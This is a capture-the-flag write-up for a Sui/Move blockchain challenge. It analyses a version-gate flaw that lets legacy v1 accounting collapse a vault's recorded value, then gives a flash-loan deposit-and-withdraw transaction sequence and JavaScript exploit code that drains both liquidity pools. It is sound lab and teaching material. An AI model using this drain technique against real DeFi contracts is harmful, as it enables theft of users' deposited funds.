CyberApocalypse 2026 — Blockchain — Second Stamp

- **Category:** Blockchain (Sui / Move)
- **Flag format:** `HTB{...}`
- **Target:** `154.57.164.79:31406` (web dashboard + ephemeral Sui localnet)
- **Status:** Vulnerability fully analysed, exploit written and dry-run-ready. **One open blocker: reaching the Sui JSON-RPC from the working environment** (see §8).

---

1. Challenge overview

> *The pale wax leads Caldrin to a larger Sharehouse in the old quarter, recently renewed with stricter rules and newer claim-marks. Yet one disputed mark has passed every inspection. A strange pattern beneath its fresh groove does not match the current design, while a thin gold fleck links it to travel claims. Verrin's delivery papers point beyond the city, and Caldrin begins to suspect that some claims are being judged by entirely different rules.*

The prose is a direct hint:

- *"recently renewed … newer claim-marks"* → the protocol has been **upgraded** (v1 → v2 → v3).
- *"one disputed mark has passed every inspection"* / *"a strange pattern beneath its fresh groove does not match the current design"* → an **old version's rules** are still accepted by the current objects.
- *"a thin gold fleck links it to travel claims"* → the **travel_counter** pool (holds most of the value) matters.
- *"some claims are being judged by entirely different rules"* → **version confusion**: mixing the old logic package with the current one.

The deployment is a "Sharehouse" — an ERC-4626-style vault (LP token = `CLAIM_MARK`/STAMP) that custodies two liquidity positions:

Pool	Base (WAX, 18 dec)	Quote (GOLD, 6 dec)
`old_counter` (bin/CLMM-ish)	1e18	2.5e9
`travel_counter` (Uni-v3-ish)	14e18	55e9
sharehouse buffer	2e16	1e6

Player starts (after `claim()`) with `1e15` WAX and `1e6` GOLD.

Win condition (`sources/setup.move :: is_solved`)

```
ctx.sender() == challenge.player
  && challenge.claimed
  && within_residual_a(buffer_a)  && within_residual_b(buffer_b)   // sharehouse
buffer
  && within_residual_a(fee_a)     && within_residual_b(fee_b)      // protocol fees
  && within_residual_a(old_counter_a)    && within_residual_b(old_counter_b)
  && within_residual_a(travel_counter_a) && within_residual_b(travel_counter_b)
```

with `RESIDUAL_LIMIT_A = 25_000_000_000_000_000` (2.5e16 WAX) and `RESIDUAL_LIMIT_B = 100_000_000` (1e8 GOLD).

So we must **drain both pools + the buffer down to dust** (leave ≤ 2.5e16 WAX / ≤ 1e8 GOLD in each bucket), *and* have `claimed == true`. Protocol fees are already `0` (fee bps = 0). The binding constraint is the travel pool: `14e18 → ≤ 2.5e16` requires draining **≥ 99.82 %**.

---

2. Package / object layout

The instance API (`POST /api/instance/start`) returns everything needed:

```
packageId (second_stamp setup)   objectIds.house (Sharehouse, shared)
challengeObjectId (DisputedMark) objectIds.config / versioned / oracle / priceInfo
objectIds.oldCounterPool         objectIds.travelCounterPool
objectIds.claimMarksPackage      objectIds.witnessOraclePackage
objectIds.v1 / v2 / v3           ← three separately-callable sharehouse package IDs
playerAddress / playerPrivateKey / rpcUrl
```

The deploy log makes the upgrade chain explicit:

```
Publishing old sharehouse stamp        <- v1
Applying renewed sharehouse stamp      <- v2
Applying travel-claim sharehouse stamp <- v3
```

In Sui, an upgraded package keeps the **same type identity** (the type's defining module address is the *original* publish). So `sharehouse::sharehouse::Sharehouse`, `::versioned::Versioned`, `::withdraw::WithdrawReceipt`, etc. are the *same* types across v1/v2/v3 — and **functions in any version can operate on the shared objects**, as long as the version gate lets them.

---

3. Root cause — the version gate never bites

`v{1,2,3}/sources/versioned.move`:

```
const SUPPORTED_VERSION: u64 = 1; // v1  (v2 = 2, v3 = 3)

public fun new(ctx): Versioned { Versioned { id: object::new(ctx), version: 1 } } //
<-- always 1

public fun assert_supported(versioned: &Versioned) {
    assert!(versioned.version <= SUPPORTED_VERSION, EUnsupportedVersion); // <-- '<=',
not '=='
}
```

- The shared `Versioned` object is created with `version = 1` and is **never migrated** (`set_version` is `public(package)` and nothing bootstraps a bump).
- The gate uses **`<=`**. A correct design would use `==` so that migrating to `version = 3` locks out v1/v2. With `<=` and `version` stuck at `1`, **all three logic packages accept the object** (`1 <= 1`, `1 <= 2`, `1 <= 3`).

⇒ We may freely call the **old v1 logic** against the **current v3 shared objects**. That is the "entirely different rules" from the prose.

---

4. Why v1 logic is dangerous — AUM collapse

Diffing `v1` vs `v3` `accounting.move`:

```
// v3 (current, "correct")
let selected_bin = old_counter::pool::bounded_bin_from_price(price);          // ->
100 (in range)
old_counter::pool::refresh_position_info_v2(pool, position_mut, price);       // keeps
full value
// ...also folds in travel_counter value...

// v1 (legacy, still callable)
let selected_bin = old_counter::pool::quote_bin_from_price(price);            // ->
101 (!!)
old_counter::pool::refresh_position_info_v1(pool, position_mut, price);       //
collapses to margin
// ...ignores travel_counter entirely...
```

For the seeded oracle price `price_e6 = 2_500_000_000`:

`old_counter::pool::quote_bin_from_price(2.5e9)`:

```
price_to_quote_q10 = 2.5e9 / 1e8 = 25
inverse_quote_q10  = 1e20 / 25 = 4e18   >=  QUOTE_BIN_BOUNDARY_Q10 (1.01e10)  -> bin
101
```

The old-counter position lives in bin `[100,100]`. `refresh_position_info_v1` → `apply_accounting` sees `selected_bin (101) > upper_bin (100)` and sets the position's *accounted* value to the **maintenance margin**:

```
position.accounted_a = MAINTENANCE_MARGIN_A; // 1_000_000_000_000  (1e12)
position.accounted_b = MAINTENANCE_MARGIN_B; // 1
```

(The pool-deviation check still passes: `|101 - active_bin(100)| = 1 <= allowed_deviation_bins(1)`.)

So calling **`v1::accounting::refresh_aum`** makes `calculate_aum` = `base_value_in_quote(1e12 + buffer_base) + (1 + buffer_quote)`.

The only remaining large term is the **base buffer (2e16)**. We erase that too with a **flash loan** (`v3::flash::flash_loan_base` — the player holds the `KEEPER` role required, and the facility is exactly `2e16 = the whole buffer`). While the loan is outstanding, `buffer_base = 0`, so:

```
last_aum  ≈  base_value_in_quote(1e12) + (1 + ~1e6)  ≈  1e6
```

…while the pools still custody ~**15e18** base. The recorded AUM is understated by ~5 orders of magnitude.

---

5. Turning the AUM collapse into a full drain

Deposit mints `lp = total_supply * deposit_value / denominator`, with `denominator = last_aum` (v1) — i.e. proportional to `deposit_value / AUM`. Initial `total_supply = 6_000_000` (locked LP minted at `sharehouse::new`).

Withdraw (v3 profile-3: `new_withdraw_cert` → `process_old_counter` + `withdraw_travel_counter` + `collect_position_fees` + `collect_position_rewards` + `process_buffer` → `complete_withdraw`) pays out `user_lp / total_lp` of the **real reserves** of *both* pools (`remove_liquidity_by_percent` / `remove_share` use `pool.reserve.value()`), plus the buffer.

Because LP is priced against the collapsed AUM (~~1e6) but redeemed against the real reserves (~~1e11 quote of value), each deposit returns ~**200×** its value. Owning LP fraction `f = deposit_value / (AUM + deposit_value)` drains `f` of every reserve.

The one wrinkle: `deposit_value + denominator <= hard_cap (2e11)` caps a *single* deposit's fraction at ~99.756 %, short of the 99.82 % the travel pool needs — and initial player capital is tiny. Both are solved by **compounding over 2 cycles**:

The cycle (one PTB)

1. `v3::flash::flash_loan_base(house, config, versioned, 2e16)` → borrowed WAX + hot-potato receipt. **Empties the buffer.**
2. `v1::accounting::refresh_aum(house, versioned, oldPool, oracle, clock)` → **AUM ≈ 1e6.**
3. Merge all owned WAX into the borrowed coin; `v1::accounting::deposit(..., allWax, coin::zero<GOLD>)` → **huge LP**.
4. `v3` profile-3 withdrawal of that LP → drains ~`f of old_counter + travel_counter + buffer into (baseOut, quoteOut)`.

5. `splitCoins(baseOut, [2.0018e16])` → `v3::flash::repay_flash_loan_base(...)` (principal + 9 bps fee). Transfer the rest to self.

- **Cycle 1** (capital = `1e15` own + `2e16` flash): `f ≈ 0.981` → ~98 % drained, and we now hold ~`1.47e19` WAX.
- **Cycle 2** (capital = everything from cycle 1): `f ≈ 0.99999` → the remaining ~2 % is drained to well under the residual limits.

The flash-loan repayment leaves ~`2.0018e16 WAX in the buffer each cycle — conveniently **below** the 2.5e16 residual and **above** the 2e16 needed to re-borrow, so the loop is self-sustaining and finishes clean. Depositing coin::zero` keeps the gold buffer from growing (pool gold is still drained via the LP fraction).

Finally `claim()` (done first, also required for `challenge.claimed == true`) and poll `POST /api/instance/check` for the flag.

---

6. Full attack sequence

```
tx0: {pkg.setup}::setup::claim(challenge)                    # start coins +
claimed=true
loop until residuals within limits (≈2 cycles), each as ONE PTB:
   [c0] {v3}::flash::flash_loan_base(house, config, versioned, 20_000_000_000_000_000)
   [c1] {v1}::accounting::refresh_aum(house, versioned, oldPool, oracle, 0x6)
   [c2] mergeCoins(borrowed, [ownWax...]); zeroGold = 0x2::coin::zero<GOLD>()
   [c3] {v1}::accounting::deposit(house, config, versioned, borrowed, zeroGold) -> lp
   [c4] {v3}::withdraw::new_withdraw_cert(house, config, versioned, lp) -> rcpt
   [c5] {v3}::withdraw::process_old_counter(house, rcpt, oldPool)
   [c6] {v3}::withdraw::withdraw_travel_counter(house, rcpt, travelPool)
   [c7] {v3}::withdraw::collect_position_fees(house, rcpt, oldPool, travelPool)
   [c8] {v3}::withdraw::collect_position_rewards(house, rcpt, oldPool, travelPool)
   [c9] {v3}::withdraw::process_buffer(house, rcpt)
   [c10] (baseOut, quoteOut) = {v3}::withdraw::complete_withdraw(house, rcpt)
   [c11] repay = splitCoins(baseOut, [20_018_000_000_000_000])
   [c12] {v3}::flash::repay_flash_loan_base(house, receiptF, repay)
   [c13] transferObjects([baseOut, quoteOut], player)
POST /api/instance/check    # -> {"solved":true,"flag":"HTB{...}"}
```

Object mutability for shared refs: `house`, `oldCounterPool`, `travelCounterPool`, `challenge` → **mutable**; `config`, `versioned`, `oracle`, `clock (0x6)` → **immutable**.

Coin types: `WAX = {claimMarksPackage}::pale_wax::PALE_WAX`, `GOLD = {claimMarksPackage}::gold_fleck::GOLD_FLECK`, `LP = {claimMarksPackage}::claim_mark::CLAIM_MARK`.

---

7. Exploit code

The complete, runnable exploit is `exploit/exploit.mjs` (Node + `@mysten/sui@1.30.1`). It:

1. pulls the deployment (object IDs + player key) from the dashboard API,
2. connects a `SuiClient` to the RPC,
3. sends `claim()`,
4. runs drain cycles adaptively (reads pool reserves after each; stops when all buckets are within residual),
5. **dry-runs every transaction before executing** (so it fails loudly if any Move assert would trip),
6. polls `/api/instance/check` for the flag.

Run it:

```
cd exploit
npm install                     # @mysten/sui@1.30.1
DRY_RUN=1 node exploit.mjs      # dry-run only (no state changes)
node exploit.mjs                # execute
RPC_URL=http://<node-host:port> node exploit.mjs   # override JSON-RPC endpoint
```

See Appendix A for the source.

---

8. Current status & handover

Analysis + exploit: complete. The only thing blocking flag capture from *this* workstation is **reaching the Sui JSON-RPC**:

- The dashboard/management API works: `GET /api/health`, `GET /api/instance`, `POST /api/instance/{start,stop,restart,check}` all respond, and `start` yields the private key + object IDs.

- The deployment advertises `rpcUrl = http://154.57.164.79:31406` (same host:port), but that port is fronted by **Caddy** routing `/api/*` → the Express dashboard and everything else → static SPA. **`POST /` (and ~35 other candidate paths) return Express's `404 "Cannot POST /"`** even while the instance is active — verified with raw HTTP/1.1, the `@mysten/sui` client, and multiple content-types. HTTPS on the port refuses; the Sui node is not proxied on any discovered path. (Per the challenge author, the RPC is only meant to be live while an instance is started/restarted and only on this IP:PORT — so the node is expected to be reachable there in the intended environment.)

To take over: run `exploit/exploit.mjs` from an environment/network where the Sui JSON-RPC is reachable. If the node lives at a different URL than `deployment.rpcUrl`, set `RPC_URL` accordingly (the script fetches object IDs/keys from `DASH_URL` = the dashboard and submits txs to `RPC_URL`). Start with `DRY_RUN=1` to validate the PTBs, then execute. The instance TTL is 10 minutes; `claim + 2 cycles + check` is a handful of transactions and fits comfortably.

The exploit is self-checking: it prints each bucket's residual after every cycle and only requests the flag once all eight values are within limits.

Appendix A: `exploit.mjs`

The authoritative copy lives at `exploit/exploit.mjs`. Key builders reproduced here for reference:

```
// One full drain cycle (see file for full context)
function txCycle(refs, pkgs, waxCoinIds, sender) {
  const { v1, v3, GOLD } = pkgs;
  const tx = new Transaction();
  const house = () => sharedArg(tx, refs, 'house', true);
  const config = () => sharedArg(tx, refs, 'config', false);
  const versioned = () => sharedArg(tx, refs, 'versioned', false);
  const oldPool = () => sharedArg(tx, refs, 'oldCounterPool', true);
  const travelPool = () => sharedArg(tx, refs, 'travelCounterPool', true);

  const [borrowed, receiptF] = tx.moveCall({
    target: `${v3}::flash::flash_loan_base`,
    arguments: [house(), config(), versioned(), tx.pure.u64(FLASH_AMOUNT)],
  });
  tx.moveCall({
    target: `${v1}::accounting::refresh_aum`,
    arguments: [house(), versioned(), oldPool(),
```

```
                sharedArg(tx, refs, 'oracle', false),
                sharedArg(tx, refs, 'clock', false)],
  });
  if (waxCoinIds.length) tx.mergeCoins(borrowed, waxCoinIds.map((id) =>
tx.object(id)));
  const zeroGold = tx.moveCall({ target: '0x2::coin::zero', typeArguments: [GOLD] });
  const lp = tx.moveCall({
    target: `${v1}::accounting::deposit`,
    arguments: [house(), config(), versioned(), borrowed, zeroGold],
  });
  const receiptW = tx.moveCall({
    target: `${v3}::withdraw::new_withdraw_cert`,
    arguments: [house(), config(), versioned(), lp],
  });
  tx.moveCall({ target: `${v3}::withdraw::process_old_counter`,     arguments:
[house(), receiptW, oldPool()] });
  tx.moveCall({ target: `${v3}::withdraw::withdraw_travel_counter`, arguments:
[house(), receiptW, travelPool()] });
  tx.moveCall({ target: `${v3}::withdraw::collect_position_fees`,    arguments:
[house(), receiptW, oldPool(), travelPool()] });
  tx.moveCall({ target: `${v3}::withdraw::collect_position_rewards`, arguments:
[house(), receiptW, oldPool(), travelPool()] });
  tx.moveCall({ target: `${v3}::withdraw::process_buffer`,          arguments:
[house(), receiptW] });
  const [baseOut, quoteOut] = tx.moveCall({
    target: `${v3}::withdraw::complete_withdraw`, arguments: [house(), receiptW],
  });
  const repay = tx.splitCoins(baseOut, [tx.pure.u64(FLASH_REPAY)]);
  tx.moveCall({ target: `${v3}::flash::repay_flash_loan_base`, arguments: [house(),
receiptF, repay] });
  tx.transferObjects([baseOut, quoteOut], tx.pure.address(sender));
  return tx;
}
```

Appendix B: key constants

Name	Value
`FLASH_LOAN_FACILITY_BASE`	`20_000_000_000_000_000` (2e16)
flash fee (9 bps, ceil)	`18_000_000_000_000` (1.8e13)

Name	Value
flash repay	`20_018_000_000_000_000`
`RESIDUAL_LIMIT_A` (WAX)	`25_000_000_000_000_000` (2.5e16)
`RESIDUAL_LIMIT_B` (GOLD)	`100_000_000` (1e8)
`hard_cap`	`200_000_000_000` (2e11)
initial LP supply (locked)	`6_000_000`
oracle `price_e6`	`2_500_000_000`
Clock object	`0x6`